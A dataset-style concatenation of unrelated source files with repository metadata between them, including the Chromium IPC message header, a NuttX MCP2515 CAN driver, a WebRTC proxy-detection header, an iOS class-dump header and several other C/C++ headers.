the flags field. enum { PRIORITY_MASK = 0x0003, // Low 2 bits of store the priority value. SYNC_BIT = 0x0004, REPLY_BIT = 0x0008, REPLY_ERROR_BIT = 0x0010, UNBLOCK_BIT = 0x0020, PUMPING_MSGS_BIT = 0x0040, HAS_SENT_TIME_BIT = 0x0080, }; virtual ~Message(); Message(); // Initialize a message with a user-defined type, priority value, and // destination WebView ID. Message(int32 routing_id, uint32 type, PriorityValue priority); // Initializes a message from a const block of data. The data is not copied; // instead the data is merely referenced by this message. Only const methods // should be used on the message when initialized this way. Message(const char* data, int data_len); Message(const Message& other); Message& operator=(const Message& other); PriorityValue priority() const { return static_cast<PriorityValue>(header()->flags & PRIORITY_MASK); } // True if this is a synchronous message. void set_sync() { header()->flags |= SYNC_BIT; } bool is_sync() const { return (header()->flags & SYNC_BIT) != 0; } // Set this on a reply to a synchronous message. void set_reply() { header()->flags |= REPLY_BIT; } bool is_reply() const { return (header()->flags & REPLY_BIT) != 0; } // Set this on a reply to a synchronous message to indicate that no receiver // was found. void set_reply_error() { header()->flags |= REPLY_ERROR_BIT; } bool is_reply_error() const { return (header()->flags & REPLY_ERROR_BIT) != 0; } // Normally when a receiver gets a message and they're blocked on a // synchronous message Send, they buffer a message. Setting this flag causes // the receiver to be unblocked and the message to be dispatched immediately. void set_unblock(bool unblock) { if (unblock) { header()->flags |= UNBLOCK_BIT; } else { header()->flags &= ~UNBLOCK_BIT; } } bool should_unblock() const { return (header()->flags & UNBLOCK_BIT) != 0; } // Tells the receiver that the caller is pumping messages while waiting // for the result. bool is_caller_pumping_messages() const { return (header()->flags & PUMPING_MSGS_BIT) != 0; } uint32 type() const { return header()->type; } int32 routing_id() const { return header()->routing; } void set_routing_id(int32 new_id) { header()->routing = new_id; } uint32 flags() const { return header()->flags; } template<class T, class S> static bool Dispatch(const Message* msg, T* obj, S* sender, void (T::*func)()) { (obj->*func)(); return true; } template<class T, class S> static bool Dispatch(const Message* msg, T* obj, S* sender, void (T::*func)() const) { (obj->*func)(); return true; } template<class T, class S> static bool Dispatch(const Message* msg, T* obj, S* sender, void (T::*func)(const Message&)) { (obj->*func)(*msg); return true; } template<class T, class S> static bool Dispatch(const Message* msg, T* obj, S* sender, void (T::*func)(const Message&) const) { (obj->*func)(*msg); return true; } // Used for async messages with no parameters. static void Log(std::string* name, const Message* msg, std::string* l) { } // Find the end of the message data that starts at range_start. Returns NULL // if the entire message is not found in the given data range. static const char* FindNext(const char* range_start, const char* range_end) { return Pickle::FindNext(sizeof(Header), range_start, range_end); } #if defined(OS_POSIX) // On POSIX, a message supports reading / writing FileDescriptor objects. // This is used to pass a file descriptor to the peer of an IPC channel. // Add a descriptor to the end of the set. Returns false iff the set is full. bool WriteFileDescriptor(const base::FileDescriptor& descriptor); // Get a file descriptor from the message. Returns false on error. // iter: a Pickle iterator to the current location in the message. bool ReadFileDescriptor(PickleIterator* iter, base::FileDescriptor* descriptor) const; #endif #ifdef IPC_MESSAGE_LOG_ENABLED // Adds the outgoing time from Time::Now() at the end of the message and sets // a bit to indicate that it's been added. void set_sent_time(int64 time); int64 sent_time() const; void set_received_time(int64 time) const; int64 received_time() const { return received_time_; } void set_output_params(const std::string& op) const { output_params_ = op; } const std::string& output_params() const { return output_params_; } // The following four functions are needed so we can log sync messages with // delayed replies. We stick the log data from the sent message into the // reply message, so that when it's sent and we have the output parameters // we can log it. As such, we set a flag on the sent message to not log it. void set_sync_log_data(LogData* data) const { log_data_ = data; } LogData* sync_log_data() const { return log_data_; } void set_dont_log() const { dont_log_ = true; } bool dont_log() const { return dont_log_; } #endif protected: friend class Channel; friend class MessageReplyDeserializer; friend class SyncMessage; #pragma pack(push, 4) struct Header : Pickle::Header { int32 routing; // ID of the view that this message is destined for uint32 type; // specifies the user-defined message type uint32 flags; // specifies control flags for the message #if defined(OS_POSIX) uint16 num_fds; // the number of descriptors included with this message uint16 pad; // explicitly initialize this to appease valgrind #endif }; #pragma pack(pop) Header* header() { return headerT<Header>(); } const Header* header() const { return headerT<Header>(); } void InitLoggingVariables(); #if defined(OS_POSIX) // The set of file descriptors associated with this message. scoped_refptr<FileDescriptorSet> file_descriptor_set_; // Ensure that a FileDescriptorSet is allocated void EnsureFileDescriptorSet(); FileDescriptorSet* file_descriptor_set() { EnsureFileDescriptorSet(); return file_descriptor_set_.get(); } const FileDescriptorSet* file_descriptor_set() const { return file_descriptor_set_.get(); } #endif #ifdef IPC_MESSAGE_LOG_ENABLED // Used for logging. mutable int64 received_time_; mutable std::string output_params_; mutable LogData* log_data_; mutable bool dont_log_; #endif }; //------------------------------------------------------------------------------ } // namespace IPC enum SpecialRoutingIDs { // indicates that we don't have a routing ID yet. MSG_ROUTING_NONE = -2, // indicates a general message not sent to a particular tab. MSG_ROUTING_CONTROL = kint32max, }; #define IPC_REPLY_ID 0xFFFFFFF0 // Special message id for replies #define IPC_LOGGING_ID 0xFFFFFFF1 // Special message id for logging #endif // IPC_IPC_MESSAGE_H_
29.636986
80
0.678299
c5abd30cf7197a68eba86a0868bf43c999c9004f
1,979
h
C
Source/VoxelGraph/Public/VoxelNodes/VoxelGeneratorSamplerNodes.h
ADMTec/VoxelPlugin
db3c94fd8140d27671b9e80f09c47b28d02a6096
[ "MIT" ]
998
2018-03-20T06:46:08.000Z
2022-03-31T11:45:38.000Z
Source/VoxelGraph/Public/VoxelNodes/VoxelGeneratorSamplerNodes.h
B0B-100/VoxelPlugin
cd331027eff6bee027101af355408c165d07d1b8
[ "MIT" ]
408
2018-03-19T20:43:19.000Z
2022-03-10T23:02:25.000Z
Source/VoxelGraph/Public/VoxelNodes/VoxelGeneratorSamplerNodes.h
B0B-100/VoxelPlugin
cd331027eff6bee027101af355408c165d07d1b8
[ "MIT" ]
205
2018-03-19T12:14:19.000Z
2022-03-30T16:29:42.000Z
// Copyright 2021 Phyronnaz #pragma once #include "CoreMinimal.h" #include "VoxelNodeHelper.h" #include "VoxelNodeHelperMacros.h" #include "VoxelExposedNodes.h" #include "VoxelGenerators/VoxelGeneratorPicker.h" #include "VoxelGraphErrorReporter.h" #include "VoxelGeneratorSamplerNodes.generated.h" UCLASS(Abstract, Category = "Generator") class VOXELGRAPH_API UVoxelNode_GeneratorSamplerBase : public UVoxelExposedNode { GENERATED_BODY() public: //~ Begin UVoxelNode Interface //~ End UVoxelNode Interface }; UCLASS(Abstract) class VOXELGRAPH_API UVoxelNode_SingleGeneratorSamplerBase : public UVoxelNode_GeneratorSamplerBase { GENERATED_BODY() GENERATED_EXPOSED_VOXELNODE_BODY(Generator) public: UPROPERTY(EditAnywhere, Category = "Config") FVoxelGeneratorPicker Generator; UVoxelNode_SingleGeneratorSamplerBase(); //~ Begin UVoxelNode Interface virtual void LogErrors(FVoxelGraphErrorReporter& ErrorReporter) override; virtual FText GetTitle() const override; //~ End UVoxelNode Interface }; UCLASS(DisplayName = "Get Generator Value") class VOXELGRAPH_API UVoxelNode_GetGeneratorValue : public UVoxelNode_SingleGeneratorSamplerBase { GENERATED_BODY() GENERATED_VOXELNODE_BODY() UVoxelNode_GetGeneratorValue(); }; UCLASS(DisplayName = "Get Generator Material") class VOXELGRAPH_API UVoxelNode_GetGeneratorMaterial : public UVoxelNode_SingleGeneratorSamplerBase { GENERATED_BODY() GENERATED_VOXELNODE_BODY() UVoxelNode_GetGeneratorMaterial(); }; UCLASS(DisplayName = "Get Generator Custom Output") class VOXELGRAPH_API UVoxelNode_GetGeneratorCustomOutput : public UVoxelNode_SingleGeneratorSamplerBase { GENERATED_BODY() GENERATED_VOXELNODE_BODY() UVoxelNode_GetGeneratorCustomOutput(); UPROPERTY(EditAnywhere, Category = "Config") FName OutputName = "Value"; //~ Begin UVoxelNode Interface virtual FText GetTitle() const override; //~ End UVoxelNode Interface };
27.109589
104
0.789793
cf97ea7b81d9702e3008dbc5d807bf1945dadddf
8,172
c
C
boards/arm/tiva/tm4c123g-launchpad/src/tm4c_mcp2515.c
huahang/incubator-nuttx
10c4aff6ca6d77da9cde42d4e72e60e843a27aca
[ "MIT" ]
1
2020-07-02T22:38:02.000Z
2020-07-02T22:38:02.000Z
boards/arm/tiva/tm4c123g-launchpad/src/tm4c_mcp2515.c
huahang/incubator-nuttx
10c4aff6ca6d77da9cde42d4e72e60e843a27aca
[ "MIT" ]
7
2020-04-19T08:02:08.000Z
2020-06-29T12:04:41.000Z
boards/arm/tiva/tm4c123g-launchpad/src/tm4c_mcp2515.c
huahang/incubator-nuttx
10c4aff6ca6d77da9cde42d4e72e60e843a27aca
[ "MIT" ]
null
null
null
/**************************************************************************** * boards/arm/tiva/tm4c123g-launchpad/src/tiva_mcp2515.c * * Copyright (C) 2017 Alan Carvalho de Assis. All rights reserved. * Author: Alan Carvalho de Assis <acassis@gmail.com> * Modified: Ben <disruptivesolutionsnl@gmail.com> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <errno.h> #include <debug.h> #include <nuttx/spi/spi.h> #include <nuttx/can/mcp2515.h> #include "chip.h" #include "tiva_ssi.h" #include "tm4c123g-launchpad.h" #if defined(CONFIG_SPI) && defined(CONFIG_TIVA_SSI2) && \ defined(CONFIG_CAN_MCP2515) /**************************************************************************** * Pre-processor Definitions ****************************************************************************/ #define MCP2515_SPI_PORTNO 2 /* On SPI2 */ /**************************************************************************** * Private Types ****************************************************************************/ struct tiva_mcp2515config_s { /* Configuration structure as seen by the MCP2515 driver */ struct mcp2515_config_s config; /* Additional private definitions only known to this driver */ FAR struct mcp2515_can_s *handle; /* The MCP2515 driver handle */ mcp2515_handler_t handler; /* The MCP2515 interrupt handler */ FAR void *arg; /* Argument to pass to the interrupt handler */ }; /**************************************************************************** * Static Function Prototypes ****************************************************************************/ /* IRQ/GPIO access callbacks. These operations all hidden behind callbacks * to isolate the MCP2515 driver from differences in GPIO interrupt handling * by varying boards and MCUs. * * attach - Attach the MCP2515 interrupt handler to the GPIO interrupt */ static int mcp2515_attach(FAR struct mcp2515_config_s *state, mcp2515_handler_t handler, FAR void *arg); /**************************************************************************** * Private Data ****************************************************************************/ /* A reference to a structure of this type must be passed to the MCP2515 * driver. This structure provides information about the configuration * of the MCP2515 and provides some board-specific hooks. * * Memory for this structure is provided by the caller. It is not copied * by the driver and is presumed to persist while the driver is active. The * memory must be writable because, under certain circumstances, the driver * may modify frequency or X plate resistance values. */ static struct tiva_mcp2515config_s g_mcp2515config = { .config = { .spi = NULL, .baud = 0, /* REVISIT. Probably broken by commit eb7373cedfa */ .btp = 0, /* REVISIT. Probably broken by commit eb7373cedfa */ .devid = 0, .mode = 0, /* REVISIT. Probably broken by commit eb7373cedfa */ .nfilters = 6, #ifdef MCP2515_LOOPBACK .loopback = false; #endif .attach = mcp2515_attach, }, }; /**************************************************************************** * Private Functions ****************************************************************************/ /* This is the MCP2515 Interrupt handler */ int mcp2515_interrupt(int irq, FAR void *context, FAR void *arg) { FAR struct tiva_mcp2515config_s *priv = (FAR struct tiva_mcp2515config_s *)arg; DEBUGASSERT(priv != NULL); /* Verify that we have a handler attached */ if (priv->handler) { /* Yes.. forward with interrupt along with its argument */ priv->handler(&priv->config, priv->arg); } return OK; } static int mcp2515_attach(FAR struct mcp2515_config_s *state, mcp2515_handler_t handler, FAR void *arg) { FAR struct tiva_mcp2515config_s *priv = (FAR struct tiva_mcp2515config_s *)state; irqstate_t flags; caninfo("Saving handler %p\n", handler); flags = enter_critical_section(); priv->handler = handler; priv->arg = arg; /* Configure the interrupt for falling edge */ (void)tiva_configgpio(GPIO_MCP2515_IRQ); leave_critical_section(flags); return OK; } /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: tiva_mcp2515initialize * * Description: * Initialize and register the MCP2515 RFID driver. * * Input Parameters: * devpath - The full path to the driver to register. E.g., "/dev/rfid0" * * Returned Value: * Zero (OK) on success; a negated errno value on failure. * ****************************************************************************/ int tiva_mcp2515initialize(FAR const char *devpath) { FAR struct spi_dev_s *spi; FAR struct can_dev_s *can; FAR struct mcp2515_can_s *mcp2515; int ret; /* Check if we are already initialized */ if (!g_mcp2515config.handle) { sninfo("Initializing\n"); /* Configure the MCP2515 interrupt pin as an input */ (void)tiva_configgpio(GPIO_MCP2515_IRQ); spi = tiva_ssibus_initialize(MCP2515_SPI_PORTNO); if (!spi) { return -ENODEV; } /* Save the SPI instance in the mcp2515_config_s structure */ g_mcp2515config.config.spi = spi; /* Instantiate the MCP2515 CAN Driver */ mcp2515 = mcp2515_instantiate(&g_mcp2515config.config); if (mcp2515 == NULL) { canerr("ERROR: Failed to get MCP2515 Driver Loaded\n"); return -ENODEV; } /* Save the opaque structure */ g_mcp2515config.handle = mcp2515; /* Initialize the CAN Device with the MCP2515 operations */ can = mcp2515_initialize(mcp2515); if (can == NULL) { canerr("ERROR: Failed to get CAN interface\n"); return -ENODEV; } /* Register the CAN driver at "/dev/can0" */ ret = can_register(devpath, can); if (ret < 0) { canerr("ERROR: can_register failed: %d\n", ret); return ret; } } return OK; } #endif /* CONFIG_SPI && CONFIG_CAN_MCP2515 */
32.173228
83
0.566079
65fb309c93a3c7c485d8a454f7763fb0a16814eb
1,228
c
C
packages/PIPS/validation/Semantics-New/rotation02.c
DVSR1966/par4all
86b33ca9da736e832b568c5637a2381f360f1996
[ "MIT" ]
51
2015-01-31T01:51:39.000Z
2022-02-18T02:01:50.000Z
packages/PIPS/validation/Semantics-New/rotation02.c
DVSR1966/par4all
86b33ca9da736e832b568c5637a2381f360f1996
[ "MIT" ]
7
2017-05-29T09:29:00.000Z
2019-03-11T16:01:39.000Z
packages/PIPS/validation/Semantics-New/rotation02.c
DVSR1966/par4all
86b33ca9da736e832b568c5637a2381f360f1996
[ "MIT" ]
12
2015-03-26T08:05:38.000Z
2022-02-18T02:01:51.000Z
/* Vivien suggested a non affine bounded domain... * * Here is a case with 8 points in 2-D, same as rotation01 but with * assignments intead of updates. * * The case should be trivial for ASPIC because the number of states * is bounded and small. * * The case is much harder for a transformer-based approach, because * the transformations are not as easy to combine as the states. So * transformer lists should be used and should be small because only 9 * different paths are possible when transformers are computed in * context. Either no assignment is performed, or a sequence of * assignments starts at any of the eight steps. * * The trick here is that body(s0)==s0 and hence s0 is the loop * invariant and then all preconditions are known. * * More generally, if the number of reachable states by the loop body * is bounded and small, the loop invariant should be easy to compute. */ void rotation02() { int x = 1, y = 0; while(1) { if(x==1&&y==0) x=2; if(x==2&&y==0) x=3, y=1; if(x==3&&y==1) y=2; if(x==3&&y==2) x=2, y=3; if(x==2&&y==3) x=1; if(x==1&&y==3) x=0,y=2; if(x==0&&y==2) y=1; if(x==0&&y==1) x=1,y=0; } }
26.695652
70
0.63355
455dc9596d980425025c2e870bb1ac8a53f70668
2,869
h
C
System/Library/Frameworks/HomeKit.framework/HMRemoteLoginAnisetteDataProvider.h
lechium/tvOS135Headers
46cd30d3f0f7962eaa0c3f925cd71f414c65e2ac
[ "MIT" ]
2
2020-07-26T20:30:54.000Z
2020-08-10T04:26:23.000Z
System/Library/Frameworks/HomeKit.framework/HMRemoteLoginAnisetteDataProvider.h
lechium/tvOS135Headers
46cd30d3f0f7962eaa0c3f925cd71f414c65e2ac
[ "MIT" ]
1
2020-07-26T20:45:31.000Z
2020-08-09T09:30:46.000Z
System/Library/Frameworks/HomeKit.framework/HMRemoteLoginAnisetteDataProvider.h
lechium/tvOS135Headers
46cd30d3f0f7962eaa0c3f925cd71f414c65e2ac
[ "MIT" ]
null
null
null
/* * This header is generated by classdump-dyld 1.0 * on Sunday, June 7, 2020 at 11:26:40 AM Mountain Standard Time * Operating System: Version 13.4.5 (Build 17L562) * Image Source: /System/Library/Frameworks/HomeKit.framework/HomeKit * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. */ #import <HomeKit/HomeKit-Structs.h> #import <libobjc.A.dylib/HMFMessageReceiver.h> #import <libobjc.A.dylib/AKAnisetteServiceProtocol.h> #import <libobjc.A.dylib/NSSecureCoding.h> #import <libobjc.A.dylib/NSCopying.h> @protocol OS_dispatch_queue; @class NSUUID, NSObject, HMDelegateCaller, HMFMessageDispatcher, NSString; @interface HMRemoteLoginAnisetteDataProvider : NSObject <HMFMessageReceiver, AKAnisetteServiceProtocol, NSSecureCoding, NSCopying> { NSUUID* _uuid; NSObject*<OS_dispatch_queue> _clientQueue; HMDelegateCaller* _delegateCaller; HMFMessageDispatcher* _msgDispatcher; } @property (nonatomic,readonly) NSUUID * uuid; //@synthesize uuid=_uuid - In the implementation block @property (nonatomic,retain) NSObject*<OS_dispatch_queue> clientQueue; //@synthesize clientQueue=_clientQueue - In the implementation block @property (nonatomic,retain) HMDelegateCaller * delegateCaller; //@synthesize delegateCaller=_delegateCaller - In the implementation block @property (nonatomic,retain) HMFMessageDispatcher * msgDispatcher; //@synthesize msgDispatcher=_msgDispatcher - In the implementation block @property (readonly) unsigned long long hash; @property (readonly) Class superclass; @property (copy,readonly) NSString * description; @property (copy,readonly) NSString * debugDescription; @property (nonatomic,readonly) NSUUID * messageTargetUUID; @property (nonatomic,readonly) NSObject*<OS_dispatch_queue> messageReceiveQueue; +(BOOL)supportsSecureCoding; -(id)copyWithZone:(NSZone*)arg1 ; -(void)encodeWithCoder:(id)arg1 ; -(id)initWithCoder:(id)arg1 ; -(NSUUID *)uuid; -(NSObject*<OS_dispatch_queue>)clientQueue; -(void)provisionAnisetteWithCompletion:(/*^block*/id)arg1 ; -(void)syncAnisetteWithSIMData:(id)arg1 completion:(/*^block*/id)arg2 ; -(void)eraseAnisetteWithCompletion:(/*^block*/id)arg1 ; -(void)fetchAnisetteDataAndProvisionIfNecessary:(BOOL)arg1 withCompletion:(/*^block*/id)arg2 ; -(void)legacyAnisetteDataForDSID:(id)arg1 withCompletion:(/*^block*/id)arg2 ; -(void)setClientQueue:(NSObject*<OS_dispatch_queue>)arg1 ; -(NSUUID *)messageTargetUUID; -(NSObject*<OS_dispatch_queue>)messageReceiveQueue; -(HMDelegateCaller *)delegateCaller; -(void)setDelegateCaller:(HMDelegateCaller *)arg1 ; -(void)setMsgDispatcher:(HMFMessageDispatcher *)arg1 ; -(HMFMessageDispatcher *)msgDispatcher; -(void)_configureClientQueue:(id)arg1 delegateCaller:(id)arg2 msgDispatcher:(id)arg3 ; @end
49.465517
168
0.760544
45c2d5b2c097e42c4decf6520709e0beb1064b84
2,326
h
C
System/Library/PrivateFrameworks/MetricsKit.framework/MTUIKitStoreAMSBagDelegatePackage.h
zhangkn/iOS14Header
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
[ "MIT" ]
1
2020-11-04T15:43:01.000Z
2020-11-04T15:43:01.000Z
System/Library/PrivateFrameworks/MetricsKit.framework/MTUIKitStoreAMSBagDelegatePackage.h
zhangkn/iOS14Header
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
[ "MIT" ]
null
null
null
System/Library/PrivateFrameworks/MetricsKit.framework/MTUIKitStoreAMSBagDelegatePackage.h
zhangkn/iOS14Header
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
[ "MIT" ]
null
null
null
/* * This header is generated by classdump-dyld 1.0 * on Sunday, September 27, 2020 at 11:54:43 AM Mountain Standard Time * Operating System: Version 14.0 (Build 18A373) * Image Source: /System/Library/PrivateFrameworks/MetricsKit.framework/MetricsKit * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. */ #import <libobjc.A.dylib/MTDelegatePackage.h> @class MTConfigAMSMetricsDelegate, MTEventRecorderAMSMetricsDelegate, MTConvenienceEnvironmentDelegate, NSString; @interface MTUIKitStoreAMSBagDelegatePackage : NSObject <MTDelegatePackage> { /*^block*/id _hostAppBlock; MTConfigAMSMetricsDelegate* _configDelegate; MTEventRecorderAMSMetricsDelegate* _eventRecorderDelegate; MTConvenienceEnvironmentDelegate* _environmentDelegate; } @property (nonatomic,copy) id hostAppBlock; //@synthesize hostAppBlock=_hostAppBlock - In the implementation block @property (nonatomic,retain) MTConfigAMSMetricsDelegate * configDelegate; //@synthesize configDelegate=_configDelegate - In the implementation block @property (nonatomic,retain) MTEventRecorderAMSMetricsDelegate * eventRecorderDelegate; //@synthesize eventRecorderDelegate=_eventRecorderDelegate - In the implementation block @property (nonatomic,retain) MTConvenienceEnvironmentDelegate * environmentDelegate; //@synthesize environmentDelegate=_environmentDelegate - In the implementation block @property (readonly) unsigned long long hash; @property (readonly) Class superclass; @property (copy,readonly) NSString * description; @property (copy,readonly) NSString * debugDescription; -(id)init; -(id)initWithAMSBag:(id)arg1 ; -(id)initWithAMSBag:(id)arg1 containerId:(id)arg2 pageURLBlock:(/*^block*/id)arg3 resourceRevNumBlock:(/*^block*/id)arg4 hostAppBlock:(/*^block*/id)arg5 ; -(MTConfigAMSMetricsDelegate *)configDelegate; -(MTEventRecorderAMSMetricsDelegate *)eventRecorderDelegate; -(MTConvenienceEnvironmentDelegate *)environmentDelegate; -(id)hostAppBlock; -(void)setHostAppBlock:(id)arg1 ; -(void)setConfigDelegate:(MTConfigAMSMetricsDelegate *)arg1 ; -(void)setEventRecorderDelegate:(MTEventRecorderAMSMetricsDelegate *)arg1 ; -(void)setEnvironmentDelegate:(MTConvenienceEnvironmentDelegate *)arg1 ; @end
54.093023
189
0.780739
45e9c40bef89736b323a6e05536d36db63b3487b
2,599
h
C
base/autodetectproxy.h
TeamNuclear/external_chromium_org_third_party_webrtc
5bd5c72d7c01872fea80698dac196ff9a01dfcba
[ "DOC", "BSD-3-Clause" ]
1
2019-02-22T05:37:57.000Z
2019-02-22T05:37:57.000Z
base/autodetectproxy.h
TeamNuclear/external_chromium_org_third_party_webrtc
5bd5c72d7c01872fea80698dac196ff9a01dfcba
[ "DOC", "BSD-3-Clause" ]
2
2015-06-21T17:38:11.000Z
2015-06-22T20:54:42.000Z
base/autodetectproxy.h
TeamNuclear/external_chromium_org_third_party_webrtc
5bd5c72d7c01872fea80698dac196ff9a01dfcba
[ "DOC", "BSD-3-Clause" ]
2
2016-04-27T21:12:18.000Z
2016-12-25T05:26:28.000Z
/* * Copyright 2004 The WebRTC Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #ifndef WEBRTC_BASE_AUTODETECTPROXY_H_ #define WEBRTC_BASE_AUTODETECTPROXY_H_ #include <string> #include "webrtc/base/constructormagic.h" #include "webrtc/base/cryptstring.h" #include "webrtc/base/proxydetect.h" #include "webrtc/base/proxyinfo.h" #include "webrtc/base/signalthread.h" namespace rtc { /////////////////////////////////////////////////////////////////////////////// // AutoDetectProxy /////////////////////////////////////////////////////////////////////////////// class AsyncResolverInterface; class AsyncSocket; class AutoDetectProxy : public SignalThread { public: explicit AutoDetectProxy(const std::string& user_agent); const ProxyInfo& proxy() const { return proxy_; } void set_server_url(const std::string& url) { server_url_ = url; } void set_proxy(const SocketAddress& proxy) { proxy_.type = PROXY_UNKNOWN; proxy_.address = proxy; } void set_auth_info(bool use_auth, const std::string& username, const CryptString& password) { if (use_auth) { proxy_.username = username; proxy_.password = password; } } // Default implementation of GetProxySettingsForUrl. Override for special // implementation. virtual bool GetProxyForUrl(const char* agent, const char* url, rtc::ProxyInfo* proxy) { return GetProxySettingsForUrl(agent, url, proxy, true); } enum { MSG_TIMEOUT = SignalThread::ST_MSG_FIRST_AVAILABLE, MSG_UNRESOLVABLE, ADP_MSG_FIRST_AVAILABLE}; protected: virtual ~AutoDetectProxy(); // SignalThread Interface virtual void DoWork(); virtual void OnMessage(Message *msg); void Next(); void Complete(ProxyType type); void OnConnectEvent(AsyncSocket * socket); void OnReadEvent(AsyncSocket * socket); void OnCloseEvent(AsyncSocket * socket, int error); void OnResolveResult(AsyncResolverInterface* resolver); bool DoConnect(); private: std::string agent_; std::string server_url_; ProxyInfo proxy_; AsyncResolverInterface* resolver_; AsyncSocket* socket_; int next_; DISALLOW_IMPLICIT_CONSTRUCTORS(AutoDetectProxy); }; } // namespace rtc #endif // WEBRTC_BASE_AUTODETECTPROXY_H_
28.56044
79
0.68257
04b30828eb71da593ac5e5093aefb02ffb265a26
1,532
h
C
src/chrono/physics/ChLinksAll.h
chfeller/chrono
652d5a6ed433611f2d335cf33b7da5658bf6f620
[ "BSD-3-Clause" ]
1
2015-03-19T16:48:13.000Z
2015-03-19T16:48:13.000Z
src/chrono/physics/ChLinksAll.h
chfeller/chrono
652d5a6ed433611f2d335cf33b7da5658bf6f620
[ "BSD-3-Clause" ]
null
null
null
src/chrono/physics/ChLinksAll.h
chfeller/chrono
652d5a6ed433611f2d335cf33b7da5658bf6f620
[ "BSD-3-Clause" ]
1
2018-10-25T07:05:40.000Z
2018-10-25T07:05:40.000Z
// ============================================================================= // PROJECT CHRONO - http://projectchrono.org // // Copyright (c) 2014 projectchrono.org // All rights reserved. // // Use of this source code is governed by a BSD-style license that can be found // in the LICENSE file at the top level of the distribution and at // http://projectchrono.org/license-chrono.txt. // // ============================================================================= // Authors: Alessandro Tasora, Radu Serban // ============================================================================= #ifndef CHLINKSALL_H #define CHLINKSALL_H // This header simply includes all link-related headers #include "chrono/physics/ChLink.h" #include "chrono/physics/ChLinkBrake.h" #include "chrono/physics/ChLinkClearance.h" #include "chrono/physics/ChLinkDistance.h" #include "chrono/physics/ChLinkEngine.h" #include "chrono/physics/ChLinkGear.h" #include "chrono/physics/ChLinkLinActuator.h" #include "chrono/physics/ChLinkLock.h" #include "chrono/physics/ChLinkPointSpline.h" #include "chrono/physics/ChLinkPulley.h" #include "chrono/physics/ChLinkRevolute.h" #include "chrono/physics/ChLinkRevoluteSpherical.h" #include "chrono/physics/ChLinkRevoluteTranslational.h" #include "chrono/physics/ChLinkScrew.h" #include "chrono/physics/ChLinkSpring.h" #include "chrono/physics/ChLinkSpringCB.h" #include "chrono/physics/ChLinkRotSpringCB.h" #include "chrono/physics/ChLinkTrajectory.h" #include "chrono/physics/ChLinkUniversal.h" #endif
37.365854
80
0.665144
aa5079b96c7ded9ad1838806b4dfa8d03cfaa73b
416
h
C
include/libvideoio/FileUtils.h
amarburg/libvideo_tools
441b026d2cfa236b0961e7f31d7e01f50e9c2b8c
[ "BSD-3-Clause" ]
null
null
null
include/libvideoio/FileUtils.h
amarburg/libvideo_tools
441b026d2cfa236b0961e7f31d7e01f50e9c2b8c
[ "BSD-3-Clause" ]
null
null
null
include/libvideoio/FileUtils.h
amarburg/libvideo_tools
441b026d2cfa236b0961e7f31d7e01f50e9c2b8c
[ "BSD-3-Clause" ]
1
2019-02-07T23:06:59.000Z
2019-02-07T23:06:59.000Z
#pragma once #include <string> #include <vector> #include <fstream> #define BOOST_FILESYSTEM_NO_DEPRECATED #include <boost/filesystem/path.hpp> namespace fs = boost::filesystem; std::string &ltrim(std::string &s); std::string &rtrim(std::string &s); std::string &trim(std::string &s); int getdir (fs::path dir, std::vector<fs::path> &files); int getFile (std::string source, std::vector<std::string> &files);
20.8
66
0.716346
2ec52ee3e1108db7c85be9f6ca244f721ede5dc6
7,992
h
C
Source/igtlTrackingDataMessage.h
kamilcolo/OpenIGTLink
39d1f6573c30660edc52d6f90e9f2149866209ab
[ "BSD-3-Clause" ]
2
2016-01-14T21:46:33.000Z
2021-07-31T19:11:50.000Z
Source/igtlTrackingDataMessage.h
kamilcolo/OpenIGTLink
39d1f6573c30660edc52d6f90e9f2149866209ab
[ "BSD-3-Clause" ]
9
2016-01-14T20:04:53.000Z
2017-01-10T15:14:36.000Z
Source/igtlTrackingDataMessage.h
kamilcolo/OpenIGTLink
39d1f6573c30660edc52d6f90e9f2149866209ab
[ "BSD-3-Clause" ]
4
2016-01-15T00:58:53.000Z
2021-07-31T19:11:51.000Z
